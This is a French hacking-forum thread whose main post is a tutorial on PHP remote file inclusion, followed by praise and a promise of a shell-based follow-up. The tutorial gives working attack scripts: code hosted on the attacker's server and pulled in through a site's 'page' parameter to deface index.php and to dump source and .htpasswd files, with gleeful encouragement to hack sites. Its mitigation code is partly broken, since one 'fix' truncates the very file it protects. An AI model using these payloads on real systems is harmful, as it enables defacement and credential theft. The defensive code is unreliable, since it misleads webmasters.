evolution-p2p Forum Index
 
 
 
evolution-p2p Forum IndexFAQSearchRegisterLog in
 

Failles include PHP

 
Post new topic   Reply to topic    evolution-p2p Forum Index -> [Administration réseaux] -> Codage
Previous topic :: Next topic  
Author Message
 Shadow Spy
 codeur
  
Offline

 Joined: 30 Oct 2007
 Posts: 89
 

 PostPosted: Sun 30 Dec - 01:39    Post subject: Failles include PHP Reply with quote

salut,

je vais vous présenter la fonction include du php, très pratique pour faire des sites mais qui peut être très dangereuse si on ne protège pas son site Very Happy

si vous ne comprenez rien à ce qui va suivre, regardez


La faille include PHP

Présentation
La faille include est encore très courante sur les sites en php. L'include sert principalement à inclure une page dans une autre, par exemple pour inclure des variables provenant d'un fichier de configuration. C'est une faille courante, et présente sur un grand nombre de sites. De plus, elle est très simple à exploiter.
Par exemple :


 
Code:
<?
include($page.php);
?> 


Cette commande aura pour but d'inclure la page nommé page.php à l'endroit où on mettra ce script.
Pour la localiser, ce n'est pas compliqué, il faut trouver un site avec une URL de ce genre :
http://www.site.com/index.php?page=exemple.php

Pour savoir si la faille est présente, nous allons donc essayer "d'inclure" notre URL en mettant ceci dans la barre d'adresse :
http://www.site.com/index.php?url=http://www.google.fr ou http://www.site.com/index.php?var=http://www.google.fr
Là, si Google apparaît sur le site, c'est qu'apparemment il n'est pas protégé.
Vous pouvez très bien faire ça avec votre propre fichier :
http://www.site.com/index.php?url=http://www.votresite.com/hack.php
 
Exploitation
On va donc pouvoir ajouter du code en utilisant la fonction fwrite(), ce qui aura pour effet de défacer l'index du site !! Pour cela, il suffit de copier ce petit script php sur une page que vous appellerez hack.php, et de la stoker sur un hébergeur :


 
Code:
<?
$fp=fopen("index.php", w);
$msg="Hacked by Guismay !!!";
fwrite($fp,$msg);
fclose($fp);
?>  


Ensuite, dans la barre d'adresse, entrez ceci :
http://www.site.com/index.php?page=http://www.votresite.com/hack.php
Et là, vous allez laisser une belle trace de votre passage.
 
Voir la source d'un fichier .php
Vous pouvez, grâce à la faille, voir le code source d'un fichier .php, pour cela copiez le code suivant dans votre fichier hack.php :


 
Code:
<?
$inF = fopen($file, "r");
$j="";
while (!feof($inF)) {
$j=$j.fgets($inF, 4096)."<br>";
}
$j='<font color="#000000">'.$j.'</font>';
echo $j;
fclose($inF);
?> 


On retape l'URL suivante :
http://www.site.com/index.php?page=http://www.votresite.com/hack.php
Et là, miracle, la source de la page index.php qui est à la racine du site apparaît en clair !!!
Cerise sur le gâteau, notre script qui est interprété par le serveur cible est tout puissant, car il est appelé par le site lui-même et non par notre navigateur !! Un petit .htaccess vous barre la route ?? Pas de problème, vous l'incluez et il vous offre le .htpasswd !!! La faille vous permettra donc d'accéder à toutes les ressources du site en navigant dans les répertoires, y compris ceux protégés.
 
Comment sécuriser tout ça ?
Si vous êtes un webmaster, vous feriez mieux de sécuriser vos pages, si cela n'est pas déjà fait. Pour cela, voici trois méthodes :
1° Méthode :
Pour cela, c'est simple, incluez seulement le nom des pages, sans l'extension. Celles-ci (.htm, .php ... ) peuvent-être ajoutées juste avant l'inclusion. Ensuite, imaginons que vous ayez un fichier du nom de index.php qui inclue une page nommé page.php de cette manière : index.php?page=page.php, alors vous devrez inclure ce code dans la page index.php :


 
Code:
<?
if ($page == 'page') { include('page.php'); }
elseif ($page == 'page2') { include('page2.php'); }
elseif ($page == 'page3') { include('page3.php'); }
etc...
else {include ("404.php"); }
?> 


Ensuite, rappelez-vous que le lien ne sera plus :

 
Code:
<a href="index.php?page=page.php">Rubrique</a> 

mais

 
Code:
<a href="index.php?page=page">Rubrique</a>. 

Désormais, si on fait comme dans l'exemple plus haut, c'est-à-dire :
http://www.site.com/index.php?page=http://www.votresite.com/hack.php,
et bien ça ne marchera pas. Dans l'exemple, ça ne marchera que pour page, page2, et page3.
Si le pirate est un peu doué, il va mettre :
http://www.site.com/index.php?page=http://www.votresite.com/page.php,
mais il tombera une erreur 404 car l'extension .php sera rajoutée à la fin de l'URL, et sur
http://www.votresite.com/, il n'y a pas de fichier page.php.php.
Le problème, c'est que si on écrit :
http://www.site.com/index.php?page=http://www.votresite.com/page,
.php sera encore rajouté à la fin de l'URL, et cette fois ci, la page sera bien incluse.
Par contre, cette sécurité, sans interdire totalement l'injection de code, empêche l'accès au fichiers sensibles, tel que les .htaccess ou les .htpasswd.
2° Méthode :
Ici, nous allons utiliser une commande PHP bien pratique qui va nous permettre de vérifier que le document existe bien sur le serveur : file_exists( ).
Pour cela, incluez ce code dans votre fichier page.php :


 
Code:
<?
$fp=fopen("page.php", w);
if(file_exists($page)) // Si la variable page existe,
{
include($page); //alors on l'inclue,
}
else
{
include ("404.php"); // sinon on affiche une page d'erreur.
}
?>  


3° Méthode :
Voici encore une autre possibilité, copiez ce code dans le fichier index.php :


 
Code:
<?
switch ($page) {
case "page.php":
case "page2.php":
case "pages/page.php":
include($page);
break;
default:
exit("404"); // Si la variable ne correspond ni à "page" ni a "page2" ni a "page/page.php"
}
?> 


Et voilà, désormais vous connaîtrez la faille include.

si vous avez des questions, mettez-les à la suite de ce post

a+
 Back to top
Visit poster’s website
 ifrane51
 Administrateur
 Administrateur
 
Offline

 Joined: 29 Oct 2007
 Posts: 645
  Masculin Gémeaux (21mai-20juin) 鼠 Rat

 PostPosted: Thu 3 Jan - 00:46    Post subject: Failles include PHP Reply with quote

très bon tuto félicitation shadow
__________évolution-p2p__________

 Back to top
 dreck
 touriste
 touriste
 
Offline

 Joined: 12 Apr 2008
 Posts: 4
 

 PostPosted: Sat 12 Apr - 04:38    Post subject: Failles include PHP Reply with quote

ah tres bonne faille cel ci mais elle n'est malheureusement plus presente ou alor rarement mais merci pour le partage shadow Okay

je vais vous faire un tuto sur les failles RFI dans le même style mais avec du shells
 Back to top
Display posts from previous:   
Post new topic   Reply to topic    evolution-p2p Forum Index -> [Administration réseaux] -> Codage All times are GMT + 1 Hour
Page 1 of 1

 
Jump to:  

Portal | Index | Getting a forum | Support forum | Forum directory | Legal notices | Report a violation
Template SoftLight created by larme d'ange
Powered by phpBB © 2001, 2005 phpBB Group